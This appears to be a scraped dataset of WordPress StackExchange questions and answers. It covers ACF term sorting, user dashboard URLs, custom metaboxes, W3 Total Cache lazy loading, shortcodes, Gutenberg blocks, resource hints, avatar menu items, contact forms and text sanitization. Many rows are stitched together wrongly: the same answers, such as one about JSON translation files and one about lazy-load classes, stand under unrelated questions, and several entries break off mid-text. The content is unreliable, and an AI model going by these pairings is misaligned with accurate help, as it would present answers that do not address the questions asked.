1. I have loaded text domain in my plugin method and this works ok. My text domain is `instantsearch`, locale for my language is `hr`
```
load_plugin_t... | I was having the same problem and this is how I solved it:
First, the generated JSON file has some errors. You need to update where it says `messages` with your text domain. There are three places where that needs to be changed. I also had to change the `lang` attribute to be all lowercase with a dash. Here are the fi... |
355,476 | <p>I do not find the solution which must surely be surely simple. (I'm new to WP)
I have an ACF field named "partners_order".
I would like to sort it in ascending order (ASC)</p>
<p>here's what i tried</p>
<pre><code><?php $terms = get_terms('type_partenaires');
usort($terms, function($a, $b) {
return get_fie... | [
{
"answer_id": 365613,
"author": "Josiah Sprague",
"author_id": 21290,
"author_profile": "https://wordpress.stackexchange.com/users/21290",
"pm_score": 2,
"selected": false,
"text": "<p>I was having the same problem and this is how I solved it:</p>\n\n<p>First, the generated JSON file ha... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355476",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180415/"
] | I do not find the solution which must surely be surely simple. (I'm new to WP)
I have an ACF field named "partners\_order".
I would like to sort it in ascending order (ASC)
here's what i tried
```
<?php $terms = get_terms('type_partenaires');
usort($terms, function($a, $b) {
return get_field('ordre_affichage', $... | I was having the same problem and this is how I solved it:
First, the generated JSON file has some errors. You need to update where it says `messages` with your text domain. There are three places where that needs to be changed. I also had to change the `lang` attribute to be all lowercase with a dash. Here are the fi... |
355,478 | <p>I am currently trying to get the current username to add it to the url.
The user should be able to navigate to his own dashboard wich is located under domain.com/username. Is there a way to retrieve the username and add it as variable to the url? </p>
<p>Thank you!</p>
| [
{
"answer_id": 365613,
"author": "Josiah Sprague",
"author_id": 21290,
"author_profile": "https://wordpress.stackexchange.com/users/21290",
"pm_score": 2,
"selected": false,
"text": "<p>I was having the same problem and this is how I solved it:</p>\n\n<p>First, the generated JSON file ha... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355478",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180416/"
] | I am currently trying to get the current username to add it to the url.
The user should be able to navigate to his own dashboard wich is located under domain.com/username. Is there a way to retrieve the username and add it as variable to the url?
Thank you! | I was having the same problem and this is how I solved it:
First, the generated JSON file has some errors. You need to update where it says `messages` with your text domain. There are three places where that needs to be changed. I also had to change the `lang` attribute to be all lowercase with a dash. Here are the fi... |
355,497 | <p>I developed a customer metabox plugin to save user details to db and retrieve them back to Contact Us Page in my website.</p>
<p>But I searched a way to retrieve the data to contact us page and I couldn't find a way. </p>
<p>Please look into this code and kindly tell me a way to retrieve the data updated through <... | [
{
"answer_id": 365613,
"author": "Josiah Sprague",
"author_id": 21290,
"author_profile": "https://wordpress.stackexchange.com/users/21290",
"pm_score": 2,
"selected": false,
"text": "<p>I was having the same problem and this is how I solved it:</p>\n\n<p>First, the generated JSON file ha... | 2020/01/01 | [
"https://wordpress.stackexchange.com/questions/355497",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180272/"
] | I developed a customer metabox plugin to save user details to db and retrieve them back to Contact Us Page in my website.
But I searched a way to retrieve the data to contact us page and I couldn't find a way.
Please look into this code and kindly tell me a way to retrieve the data updated through `metabox.php` to `... | I was having the same problem and this is how I solved it:
First, the generated JSON file has some errors. You need to update where it says `messages` with your text domain. There are three places where that needs to be changed. I also had to change the `lang` attribute to be all lowercase with a dash. Here are the fi... |
355,503 | <p>I'm using W3 Total Cache plugin for my WordPress site.
I've enabled Lazy Load setting option, but I want to disable the option for the specific post type. How can I hook and disable it?</p>
| [
{
"answer_id": 355534,
"author": "Arpit Patel",
"author_id": 180410,
"author_profile": "https://wordpress.stackexchange.com/users/180410",
"pm_score": 0,
"selected": false,
"text": "<p>You can use this filter,</p>\n\n<pre>function ar_lazyload_deactivate() {\n if ( is_singular( 'postty... | 2020/01/01 | [
"https://wordpress.stackexchange.com/questions/355503",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101518/"
] | I'm using W3 Total Cache plugin for my WordPress site.
I've enabled Lazy Load setting option, but I want to disable the option for the specific post type. How can I hook and disable it? | This answer might be a bit too late but here goes: W3 Total Cache will skip lazy loading images that have class "no-lazy". This means that you can hook to the [get\_the\_post\_thumbnail()](https://developer.wordpress.org/reference/functions/get_the_post_thumbnail/) filter [post\_thumbnail\_html](https://developer.wordp... |
355,553 | <p>I have a bunch of custom fields in my REST API response, and I need to refactor the code for it, so I'm creating an integration test for it, just to make sure nothing breaks in the process of refactoring.</p>
<p>The testing suite was build using <a href="https://developer.wordpress.org/cli/commands/scaffold/plugin-... | [
{
"answer_id": 355534,
"author": "Arpit Patel",
"author_id": 180410,
"author_profile": "https://wordpress.stackexchange.com/users/180410",
"pm_score": 0,
"selected": false,
"text": "<p>You can use this filter,</p>\n\n<pre>function ar_lazyload_deactivate() {\n if ( is_singular( 'postty... | 2020/01/02 | [
"https://wordpress.stackexchange.com/questions/355553",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/58895/"
] | I have a bunch of custom fields in my REST API response, and I need to refactor the code for it, so I'm creating an integration test for it, just to make sure nothing breaks in the process of refactoring.
The testing suite was build using [wp scaffold for plugin tests](https://developer.wordpress.org/cli/commands/scaf... | This answer might be a bit too late but here goes: W3 Total Cache will skip lazy loading images that have class "no-lazy". This means that you can hook to the [get\_the\_post\_thumbnail()](https://developer.wordpress.org/reference/functions/get_the_post_thumbnail/) filter [post\_thumbnail\_html](https://developer.wordp... |
355,566 | <p>I'm trying to create a table filled with data from database so basically I have to use php for that reason. however I couldn't find a way to implement my code in custom HTML. most of my php code shows up not executed, it's like I've added php into text format.
here's an image explaining my situation.</p>
<p><a hre... | [
{
"answer_id": 355534,
"author": "Arpit Patel",
"author_id": 180410,
"author_profile": "https://wordpress.stackexchange.com/users/180410",
"pm_score": 0,
"selected": false,
"text": "<p>You can use this filter,</p>\n\n<pre>function ar_lazyload_deactivate() {\n if ( is_singular( 'postty... | 2020/01/02 | [
"https://wordpress.stackexchange.com/questions/355566",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180367/"
] | I'm trying to create a table filled with data from database so basically I have to use php for that reason. however I couldn't find a way to implement my code in custom HTML. most of my php code shows up not executed, it's like I've added php into text format.
here's an image explaining my situation.
[ filter [post\_thumbnail\_html](https://developer.wordp... |
355,567 | <p>I am trying to create some "cards" to show data from another CPT so I need to store the post ID as part of the block.</p>
<p>The code below has a select in the sidebar which allows you to select the post ID and renders the HTML via a serverSideRender block</p>
<p>and looking at the HTML created and saved and retur... | [
{
"answer_id": 355685,
"author": "websevendev",
"author_id": 180566,
"author_profile": "https://wordpress.stackexchange.com/users/180566",
"pm_score": 2,
"selected": true,
"text": "<p>First thing that jumps out is that in:</p>\n\n<p><code><!-- wp:mvc/block-mvc-offer-details {\"data_of... | 2020/01/02 | [
"https://wordpress.stackexchange.com/questions/355567",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/176/"
] | I am trying to create some "cards" to show data from another CPT so I need to store the post ID as part of the block.
The code below has a select in the sidebar which allows you to select the post ID and renders the HTML via a serverSideRender block
and looking at the HTML created and saved and return in the editor r... | First thing that jumps out is that in:
`<!-- wp:mvc/block-mvc-offer-details {"data_offer":"2426"} /-->`
the `data_offer` value is stored as a string while it's defined attribute type is `number`.
This could be why it's stripped after reload. While `select('core').getEntityRecords` does return IDs as integers it's po... |
355,646 | <p>I place the following code within the WP 'init' callback (or when plugins are loaded).</p>
<pre><code>add_shortcode('my_shortcode',
function($atts, $content ='') { die(); }
);
if (!shortcode_exists('my_shortcode')) die();
</code></pre>
<p>In my page I put "<strong>[my_shortcode]</strong... | [
{
"answer_id": 355685,
"author": "websevendev",
"author_id": 180566,
"author_profile": "https://wordpress.stackexchange.com/users/180566",
"pm_score": 2,
"selected": true,
"text": "<p>First thing that jumps out is that in:</p>\n\n<p><code><!-- wp:mvc/block-mvc-offer-details {\"data_of... | 2020/01/03 | [
"https://wordpress.stackexchange.com/questions/355646",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180541/"
] | I place the following code within the WP 'init' callback (or when plugins are loaded).
```
add_shortcode('my_shortcode',
function($atts, $content ='') { die(); }
);
if (!shortcode_exists('my_shortcode')) die();
```
In my page I put "**[my\_shortcode]**"
When I view the page I get "\*\*\*... | First thing that jumps out is that in:
`<!-- wp:mvc/block-mvc-offer-details {"data_offer":"2426"} /-->`
the `data_offer` value is stored as a string while it's defined attribute type is `number`.
This could be why it's stripped after reload. While `select('core').getEntityRecords` does return IDs as integers it's po... |
355,649 | <p>I'm working on a website and am trying to fix how they set up their meta tags, but am having a bit of trouble.</p>
<p>The current way its set up is that all pages have the og:image set to a logo. I want two post types (post-1 and post-2) to show their respective image contained through ACF.</p>
<p>See below how it... | [
{
"answer_id": 355685,
"author": "websevendev",
"author_id": 180566,
"author_profile": "https://wordpress.stackexchange.com/users/180566",
"pm_score": 2,
"selected": true,
"text": "<p>First thing that jumps out is that in:</p>\n\n<p><code><!-- wp:mvc/block-mvc-offer-details {\"data_of... | 2020/01/03 | [
"https://wordpress.stackexchange.com/questions/355649",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/177718/"
] | I'm working on a website and am trying to fix how they set up their meta tags, but am having a bit of trouble.
The current way its set up is that all pages have the og:image set to a logo. I want two post types (post-1 and post-2) to show their respective image contained through ACF.
See below how it looks.
```
<?p... | First thing that jumps out is that in:
`<!-- wp:mvc/block-mvc-offer-details {"data_offer":"2426"} /-->`
the `data_offer` value is stored as a string while it's defined attribute type is `number`.
This could be why it's stripped after reload. While `select('core').getEntityRecords` does return IDs as integers it's po... |
355,670 | <p>I have this function in my functions.php file:</p>
<pre><code>function dns_prefetch_to_preconnect( $urls, $relation_type ) {
if ( 'dns-prefetch' === $relation_type ) {
$urls = [];
}
if ( 'preconnect' === $relation_type ) {
$urls = wp_dependencies_unique_hosts();
}
return $urls;... | [
{
"answer_id": 355673,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 1,
"selected": false,
"text": "<p>The problem is not that the function you're using adds <code>http:</code>, the problem is it adds no URL sch... | 2020/01/04 | [
"https://wordpress.stackexchange.com/questions/355670",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/58939/"
] | I have this function in my functions.php file:
```
function dns_prefetch_to_preconnect( $urls, $relation_type ) {
if ( 'dns-prefetch' === $relation_type ) {
$urls = [];
}
if ( 'preconnect' === $relation_type ) {
$urls = wp_dependencies_unique_hosts();
}
return $urls;
}
add_filter(... | I've finally got it working now, as follows:
First I found the original `wp_dependencies_unique_hosts()` function from the WordPress code (it's in a file called general-template.php), and I made a copy of it, but giving it a new name: `wp_dependencies_unique_urls()`.
I observed that this function is using `wp_parse_u... |
355,694 | <p>I want show the avatar user and username with this code.</p>
<pre><code>add_filter( 'wp_nav_menu_objects', 'my_dynamic_menu_items' );
function my_dynamic_menu_items( $menu_items ) {
foreach ( $menu_items as $menu_item ) {
if ( strpos($menu_item->title, '#profile_name#') !== false) {
$... | [
{
"answer_id": 355771,
"author": "Bhupen",
"author_id": 128529,
"author_profile": "https://wordpress.stackexchange.com/users/128529",
"pm_score": 1,
"selected": false,
"text": "<p>You can use \"<strong>get_avatar</strong>\" function to display avatar in menu with user name. Please try co... | 2020/01/04 | [
"https://wordpress.stackexchange.com/questions/355694",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180573/"
] | I want show the avatar user and username with this code.
```
add_filter( 'wp_nav_menu_objects', 'my_dynamic_menu_items' );
function my_dynamic_menu_items( $menu_items ) {
foreach ( $menu_items as $menu_item ) {
if ( strpos($menu_item->title, '#profile_name#') !== false) {
$menu_item->title ... | You can use "**get\_avatar**" function to display avatar in menu with user name. Please try code given below:
```
add_filter( 'wp_nav_menu_objects', 'my_dynamic_menu_items', 10 );
function my_dynamic_menu_items( $menu_items ) {
foreach ( $menu_items as $menu_item ) {
if ( strpos($menu_item->title, '#profil... |
355,699 | <p>I'm trying to remove the entire <a href="https://developer.wordpress.org/reference/hooks/embed_footer/" rel="nofollow noreferrer">embed_footer</a> from WordPress embedded posts.</p>
<p>By adding the following code in the <code>functions.php</code>, I was able to remove the site title and comments icon. But still, t... | [
{
"answer_id": 355700,
"author": "Ahmedhere",
"author_id": 180546,
"author_profile": "https://wordpress.stackexchange.com/users/180546",
"pm_score": -1,
"selected": false,
"text": "<p>All the javascript files are embedded in the footer if you remove the footer maybe your site goes down. ... | 2020/01/04 | [
"https://wordpress.stackexchange.com/questions/355699",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/12611/"
] | I'm trying to remove the entire [embed\_footer](https://developer.wordpress.org/reference/hooks/embed_footer/) from WordPress embedded posts.
By adding the following code in the `functions.php`, I was able to remove the site title and comments icon. But still, the share icon is there.
```
add_filter('embed_site_title... | The comments button and the share button are generated in two separate default actions, so you have to remove them both:
```
remove_action( 'embed_content_meta', 'print_embed_comments_button' );
remove_action( 'embed_content_meta', 'print_embed_sharing_button' );
``` |
355,734 | <p>I have a class for registering post types based on the Wordpress Plugin Boiler Plate, in the below can anyone tell me why the taxonomy isn't showing in the admin menus at all?</p>
<pre><code>/**
* Register custom post type
*
*/
class Hi_Food_Menu_Post_Types {
/**
* Register custom post type
*
... | [
{
"answer_id": 355700,
"author": "Ahmedhere",
"author_id": 180546,
"author_profile": "https://wordpress.stackexchange.com/users/180546",
"pm_score": -1,
"selected": false,
"text": "<p>All the javascript files are embedded in the footer if you remove the footer maybe your site goes down. ... | 2020/01/05 | [
"https://wordpress.stackexchange.com/questions/355734",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/161436/"
] | I have a class for registering post types based on the Wordpress Plugin Boiler Plate, in the below can anyone tell me why the taxonomy isn't showing in the admin menus at all?
```
/**
* Register custom post type
*
*/
class Hi_Food_Menu_Post_Types {
/**
* Register custom post type
*
* @link https:... | The comments button and the share button are generated in two separate default actions, so you have to remove them both:
```
remove_action( 'embed_content_meta', 'print_embed_comments_button' );
remove_action( 'embed_content_meta', 'print_embed_sharing_button' );
``` |
355,741 | <p>I'm making a web app using wordpress, the app will include this <a href="https://github.com/pyrou/morpheus" rel="nofollow noreferrer">library</a> that will do some steganography operations. I need some help to understand how to implement a front-end image upload for the users that want to use the app, I've created a... | [
{
"answer_id": 355700,
"author": "Ahmedhere",
"author_id": 180546,
"author_profile": "https://wordpress.stackexchange.com/users/180546",
"pm_score": -1,
"selected": false,
"text": "<p>All the javascript files are embedded in the footer if you remove the footer maybe your site goes down. ... | 2020/01/05 | [
"https://wordpress.stackexchange.com/questions/355741",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/177581/"
] | I'm making a web app using wordpress, the app will include this [library](https://github.com/pyrou/morpheus) that will do some steganography operations. I need some help to understand how to implement a front-end image upload for the users that want to use the app, I've created a bs4 form that include a file upload inp... | The comments button and the share button are generated in two separate default actions, so you have to remove them both:
```
remove_action( 'embed_content_meta', 'print_embed_comments_button' );
remove_action( 'embed_content_meta', 'print_embed_sharing_button' );
``` |
355,758 | <p>I'm a bit new to custom wordpress pages and I purchased a HTML theme that I successfully converted into a Wordpress site. The thing is, that there is a contact form that I would like to use and I've followed the codex instructions on using admin-post.php file but the form is not getting submitted. </p>
<p>Below is ... | [
{
"answer_id": 355761,
"author": "Arturo Gallegos",
"author_id": 130585,
"author_profile": "https://wordpress.stackexchange.com/users/130585",
"pm_score": 1,
"selected": true,
"text": "<p>You can't use admin-post.php directly in your form, you need implement an ajax request.</p>\n\n<p><a... | 2020/01/06 | [
"https://wordpress.stackexchange.com/questions/355758",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180622/"
] | I'm a bit new to custom wordpress pages and I purchased a HTML theme that I successfully converted into a Wordpress site. The thing is, that there is a contact form that I would like to use and I've followed the codex instructions on using admin-post.php file but the form is not getting submitted.
Below is the form i... | You can't use admin-post.php directly in your form, you need implement an ajax request.
<https://codex.wordpress.org/AJAX_in_Plugins>
To send your email have a function wp\_mail
<https://developer.wordpress.org/reference/functions/wp_mail/>
If you have problem to receive the POST params review this answer
[WordPress... |
355,840 | <p>I have translated the po file and uploaded the mo and po files in the languages folder with the language code file name. But translation is not loading
Here is the function file code:</p>
<pre><code>if( is_dir( get_stylesheet_directory() . '/languages' ) ) {
load_theme_textdomain('adifier', get_stylesheet_direc... | [
{
"answer_id": 355770,
"author": "artasena",
"author_id": 158909,
"author_profile": "https://wordpress.stackexchange.com/users/158909",
"pm_score": -1,
"selected": false,
"text": "<p>Maybe u should switch using another builder, you can combine 2 plugin functionality with this :</p>\n\n<o... | 2020/01/06 | [
"https://wordpress.stackexchange.com/questions/355840",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180664/"
] | I have translated the po file and uploaded the mo and po files in the languages folder with the language code file name. But translation is not loading
Here is the function file code:
```
if( is_dir( get_stylesheet_directory() . '/languages' ) ) {
load_theme_textdomain('adifier', get_stylesheet_directory() . '/lan... | I was able to find a solution by doing a find and replace on this file
/wp-content/plugins/js\_composer/assets/js/dist/backend.min.js
$.ajax -> jQuery.ajax
Changing the $ symbol out to jQuery fixed the issue. |
355,855 | <p>On my localhost environment the following code works perfect</p>
<pre><code> $creds['user_login'] = $user_login;
$creds['user_password'] = $user_password;
$user = wp_signon( $creds, true );
if(!is_wp_error($user)) {
wp_redirect('/home');
exit;
}
</code></pre>
<p>But on the server... | [
{
"answer_id": 355770,
"author": "artasena",
"author_id": 158909,
"author_profile": "https://wordpress.stackexchange.com/users/158909",
"pm_score": -1,
"selected": false,
"text": "<p>Maybe u should switch using another builder, you can combine 2 plugin functionality with this :</p>\n\n<o... | 2020/01/07 | [
"https://wordpress.stackexchange.com/questions/355855",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165616/"
] | On my localhost environment the following code works perfect
```
$creds['user_login'] = $user_login;
$creds['user_password'] = $user_password;
$user = wp_signon( $creds, true );
if(!is_wp_error($user)) {
wp_redirect('/home');
exit;
}
```
But on the server it doesn't work anymore. ... | I was able to find a solution by doing a find and replace on this file
/wp-content/plugins/js\_composer/assets/js/dist/backend.min.js
$.ajax -> jQuery.ajax
Changing the $ symbol out to jQuery fixed the issue. |
355,892 | <p>I need to sanitize some custom settings added with the Customize API, namely some simple text fields.</p>
<p>Other data types have some dedicated functions, i.e. email addresses should use <code>sanitize_email()</code>, URL's have <code>esc_url_raw()</code> and so on.</p>
<p>But with simple text fields, I'm not re... | [
{
"answer_id": 355897,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 4,
"selected": true,
"text": "<h3>What Do They Do?</h3>\n<p><code>wp_filter_nohtml_kses</code> strips all HTML from a string, that's it. It do... | 2020/01/07 | [
"https://wordpress.stackexchange.com/questions/355892",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/98169/"
] | I need to sanitize some custom settings added with the Customize API, namely some simple text fields.
Other data types have some dedicated functions, i.e. email addresses should use `sanitize_email()`, URL's have `esc_url_raw()` and so on.
But with simple text fields, I'm not really sure if I must use [`sanitize_text... | ### What Do They Do?
`wp_filter_nohtml_kses` strips all HTML from a string, that's it. It does it via the `wp_kses` function and it expects slashed data, here's its implementation:
```php
function wp_filter_nohtml_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), 'strip' ) );
}
```
`sanitize_te... |
355,968 | <p>I would like to extend the default image block and add an option to it.</p>
<p><a href="https://i.stack.imgur.com/Ognqq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ognqq.png" alt="enter image description here"></a></p>
<p>The idea is to have an extra option to download the image locally if i... | [
{
"answer_id": 356118,
"author": "gordie",
"author_id": 70449,
"author_profile": "https://wordpress.stackexchange.com/users/70449",
"pm_score": -1,
"selected": false,
"text": "<p>I found this tutorial, <a href=\"https://neliosoftware.com/blog/how-to-add-button-gutenberg-blocks/\" rel=\"n... | 2020/01/08 | [
"https://wordpress.stackexchange.com/questions/355968",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70449/"
] | I would like to extend the default image block and add an option to it.
[](https://i.stack.imgur.com/Ognqq.png)
The idea is to have an extra option to download the image locally if it is a remote image.
Is this possible and how ?
Thanks. | WordPress provides a [JS filter](https://developer.wordpress.org/block-editor/reference-guides/filters/block-filters/#editor-blockedit) for adjusting the components used with the `edit` state called `editor.BlockEdit`. Passing a callback to said filter with a `BlockControls` [fill](https://developer.wordpress.org/block... |
356,005 | <p>I have this table that is generated in a Custom Post Type (CPT)</p>
<p><a href="https://i.stack.imgur.com/NXga8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NXga8.png" alt="enter image description here"></a></p>
<p>Is there an option that I can modify the query? For example, I have this post_... | [
{
"answer_id": 356118,
"author": "gordie",
"author_id": 70449,
"author_profile": "https://wordpress.stackexchange.com/users/70449",
"pm_score": -1,
"selected": false,
"text": "<p>I found this tutorial, <a href=\"https://neliosoftware.com/blog/how-to-add-button-gutenberg-blocks/\" rel=\"n... | 2020/01/09 | [
"https://wordpress.stackexchange.com/questions/356005",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180791/"
] | I have this table that is generated in a Custom Post Type (CPT)
[](https://i.stack.imgur.com/NXga8.png)
Is there an option that I can modify the query? For example, I have this post\_type = 'my-type' in wp\_posts table. I want to do a JOIN to have sp... | WordPress provides a [JS filter](https://developer.wordpress.org/block-editor/reference-guides/filters/block-filters/#editor-blockedit) for adjusting the components used with the `edit` state called `editor.BlockEdit`. Passing a callback to said filter with a `BlockControls` [fill](https://developer.wordpress.org/block... |
356,106 | <p>I know that there is already a <a href="https://wordpress.stackexchange.com/questions/263924/wordpress-localhost-site-redirect-to-live-site">similar question</a> like this. But I have already done all these suggested solution and nothing works for me.</p>
<ul>
<li><p>If there are caching plugins installed like W3 t... | [
{
"answer_id": 356131,
"author": "Captain S.",
"author_id": 106778,
"author_profile": "https://wordpress.stackexchange.com/users/106778",
"pm_score": 0,
"selected": false,
"text": "<p>check your wp-config.php if you have defined 'WP_HOME' and/or 'WP_SITEURL'. Setting these values will ov... | 2020/01/10 | [
"https://wordpress.stackexchange.com/questions/356106",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180585/"
] | I know that there is already a [similar question](https://wordpress.stackexchange.com/questions/263924/wordpress-localhost-site-redirect-to-live-site) like this. But I have already done all these suggested solution and nothing works for me.
* If there are caching plugins installed like W3 total cache. Then purge cache... | Look in your `wp_options` database table for the `siteurl` and `home` options and check these are using your local URL.
As Captain S commented, these can also be overridden in your wp-config:
```
define('WP_HOME', 'http://www.localsite.test');
define('WP_SITEURL', 'http://www.localsite.test');
``` |
356,126 | <p>I want to display user's locations which they travelled on author box so how can I add this kind of input area to users profile? To more explain, If a user add <code>"Londra,Paris"</code> to own profile, these cities will seem author box as a tag.Londra and Paris must be entered to different areas so users can add e... | [
{
"answer_id": 356131,
"author": "Captain S.",
"author_id": 106778,
"author_profile": "https://wordpress.stackexchange.com/users/106778",
"pm_score": 0,
"selected": false,
"text": "<p>check your wp-config.php if you have defined 'WP_HOME' and/or 'WP_SITEURL'. Setting these values will ov... | 2020/01/10 | [
"https://wordpress.stackexchange.com/questions/356126",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180894/"
] | I want to display user's locations which they travelled on author box so how can I add this kind of input area to users profile? To more explain, If a user add `"Londra,Paris"` to own profile, these cities will seem author box as a tag.Londra and Paris must be entered to different areas so users can add extra fields. I... | Look in your `wp_options` database table for the `siteurl` and `home` options and check these are using your local URL.
As Captain S commented, these can also be overridden in your wp-config:
```
define('WP_HOME', 'http://www.localsite.test');
define('WP_SITEURL', 'http://www.localsite.test');
``` |
356,147 | <p>I am new here, I do not have a ton of experience with PHP but if I have a correct block I can work the different functions. I have a static page, currently, I have it set to display 5 snippets of posts, we have a ton of them on this category, and I need this page to have a line of links with</p>
<p>Newest 1, 2, 3,... | [
{
"answer_id": 356144,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 2,
"selected": false,
"text": "<p>Depending on your goal, you can add custom CSS for blocks in several ways.</p>\n\n<p><strong>Theme</stron... | 2020/01/10 | [
"https://wordpress.stackexchange.com/questions/356147",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180902/"
] | I am new here, I do not have a ton of experience with PHP but if I have a correct block I can work the different functions. I have a static page, currently, I have it set to display 5 snippets of posts, we have a ton of them on this category, and I need this page to have a line of links with
Newest 1, 2, 3, ... Oldest... | Depending on your goal, you can add custom CSS for blocks in several ways.
**Theme**
Adding it "themewide" by either using a theme's Custom CSS area or creating a child theme could be used either to affect all copies of a particular type of block, or to target one type of block on just a single post. For example, eac... |
356,154 | <p>good day dear community,</p>
<p>after having nailed down several issues with the set up of the theme twentyseventeen - the question today is: wordpress-theme 2017: featured image behaviour: where to set the height of the featured image!? </p>
<p>Well while i was doing a little google-search i have found the follow... | [
{
"answer_id": 356144,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 2,
"selected": false,
"text": "<p>Depending on your goal, you can add custom CSS for blocks in several ways.</p>\n\n<p><strong>Theme</stron... | 2020/01/11 | [
"https://wordpress.stackexchange.com/questions/356154",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/177513/"
] | good day dear community,
after having nailed down several issues with the set up of the theme twentyseventeen - the question today is: wordpress-theme 2017: featured image behaviour: where to set the height of the featured image!?
Well while i was doing a little google-search i have found the following;
I have been ... | Depending on your goal, you can add custom CSS for blocks in several ways.
**Theme**
Adding it "themewide" by either using a theme's Custom CSS area or creating a child theme could be used either to affect all copies of a particular type of block, or to target one type of block on just a single post. For example, eac... |
356,160 | <p>I am using regular expression to get the text inside a single p tag targeting its class. the problem is I want to use a php variable as class name and use a loop to change the class name each time. </p>
<pre class="lang-php prettyprint-override"><code>$sample = get_the_content();
<button class="accordion">... | [
{
"answer_id": 356165,
"author": "Adam",
"author_id": 13418,
"author_profile": "https://wordpress.stackexchange.com/users/13418",
"pm_score": 1,
"selected": false,
"text": "<p>Note: this question is not related to WordPress, but rather to PHP directly and should be asked at <a href=\"htt... | 2020/01/11 | [
"https://wordpress.stackexchange.com/questions/356160",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180578/"
] | I am using regular expression to get the text inside a single p tag targeting its class. the problem is I want to use a php variable as class name and use a loop to change the class name each time.
```php
$sample = get_the_content();
<button class="accordion">
preg_match('/<strong class="1">(.*?)<\/strong>/s', $sam... | Note: this question is not related to WordPress, but rather to PHP directly and should be asked at [StackOverflow](https://stackoverflow.com/) but I have provided a very basic answer below to help you on your way. However be aware that this answer **is not necessarily the best way** to go about solving your problem, **... |
356,243 | <p>I'm creating my first Wordpress plugin. It's goal is to update information from admin user about the book stock using sku only.</p>
<p>There are 2 forms in update-stock.php page. First form takes sku input and retrieves stock info.
Second form takes the new stock value from the admin user.The page works fine if I s... | [
{
"answer_id": 356184,
"author": "Younes.D",
"author_id": 65465,
"author_profile": "https://wordpress.stackexchange.com/users/65465",
"pm_score": -1,
"selected": false,
"text": "<p>it depends on what you want to do.\nfor example, suppose your plugin needs javascript for it to work. in th... | 2020/01/13 | [
"https://wordpress.stackexchange.com/questions/356243",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/137273/"
] | I'm creating my first Wordpress plugin. It's goal is to update information from admin user about the book stock using sku only.
There are 2 forms in update-stock.php page. First form takes sku input and retrieves stock info.
Second form takes the new stock value from the admin user.The page works fine if I submit it o... | No, constructors should not define hooks.
Constructors should be used to set the initial state of the object. Hooks have nothing to do with the object's initial state, so they don't belong in the constructor. Constructors should not have "side effects", so that using `new ClassName()` does not affect any other parts ... |
356,299 | <p>I'd like to ask some help for this code for my wordpress page. I would like to display just the current portfolio categories on a portfolio page. I used this code, but it shows all the portfolio categories from the '6' parent. Thank you!</p>
<pre><code><?php
$args = array(
'hierarchical' => 1,
'taxonomy... | [
{
"answer_id": 356184,
"author": "Younes.D",
"author_id": 65465,
"author_profile": "https://wordpress.stackexchange.com/users/65465",
"pm_score": -1,
"selected": false,
"text": "<p>it depends on what you want to do.\nfor example, suppose your plugin needs javascript for it to work. in th... | 2020/01/13 | [
"https://wordpress.stackexchange.com/questions/356299",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181003/"
] | I'd like to ask some help for this code for my wordpress page. I would like to display just the current portfolio categories on a portfolio page. I used this code, but it shows all the portfolio categories from the '6' parent. Thank you!
```
<?php
$args = array(
'hierarchical' => 1,
'taxonomy' => 'portfolio_cate... | No, constructors should not define hooks.
Constructors should be used to set the initial state of the object. Hooks have nothing to do with the object's initial state, so they don't belong in the constructor. Constructors should not have "side effects", so that using `new ClassName()` does not affect any other parts ... |
356,366 | <p>I have a post in category A that contain this redirection script:</p>
<pre><code><script>window.location.replace("http://www.w3schools.com");</script>
</code></pre>
<p>However, when I click on A, it also redirects. How to prevent this?</p>
| [
{
"answer_id": 356372,
"author": "Paul Elrich",
"author_id": 160341,
"author_profile": "https://wordpress.stackexchange.com/users/160341",
"pm_score": 2,
"selected": true,
"text": "<p>If that redirection script is written in the content section of the post, it is probably being called in... | 2020/01/14 | [
"https://wordpress.stackexchange.com/questions/356366",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/64282/"
] | I have a post in category A that contain this redirection script:
```
<script>window.location.replace("http://www.w3schools.com");</script>
```
